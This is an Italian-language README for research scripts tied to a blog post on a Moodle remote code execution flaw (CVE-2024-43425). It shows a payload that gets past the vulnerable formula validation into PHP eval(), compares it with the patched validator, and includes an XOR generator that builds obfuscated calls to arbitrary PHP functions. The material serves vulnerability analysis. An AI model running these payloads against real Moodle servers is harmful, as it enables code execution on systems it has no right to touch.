
Script per l'Analisi di una RCE nelle Domande Calcolate di Moodle (CVE-2024-43425)
Questo repository contiene gli script di accompagnamento al post del blog Back to School - Exploiting a Remote Code Execution Vulnerability in Moodle, che descrive una vulnerabilità di esecuzione di codice remoto nella piattaforma di apprendimento Moodle.
Gli script nella directory validation possono essere utilizzati per testare direttamente stringhe di input rispetto alla logica di validazione usata da Moodle per prevenire l'abuso di una chiamata a PHP eval().
Tutti i frammenti di codice sono stati direttamente adattati dal codice sorgente di Moodle, utilizzando la versione 4.4.1 per la versione vulnerabile e la 4.4.2 per la versione corretta.
Gli script includono le parti rilevanti del file question/type/calculated/questiontype.php.
Il file validation.php utilizza la logica di validazione vulnerabile:
$ php validation.php '(1)->{phpinfo()}'
phpinfo()
PHP Version => 8.3.10
[...]
Questo repository include anche la versione corretta del codice di validazione in validation-fixed.php:
$ php validation-fixed.php '(1)->{phpinfo()}'
error illegalformulasyntax with value: {phpinfo()}
[...]
Lo script xor-generator.py può essere utilizzato per generare espressioni basate su funzioni variabili, che permettono di chiamare funzioni PHP arbitrarie con un singolo parametro numerico nelle versioni vulnerabili di Moodle:
$ ./xor-generator.py 'PRINTF'
((acos(2) . 0+acos(2)) ^ (2 . 6 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . -8) ^ (0 . -4 . 1 . 8 . 0) ^ (-8 . 3 . 1 . 0 . 0))
$ php -r '((acos(2) . 0+acos(2)) ^ (2 . 6 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . -8) ^ (0 . -4 . 1 . 8 . 0) ^ (-8 . 3 . 1 . 0 . 0))("Test");'
Test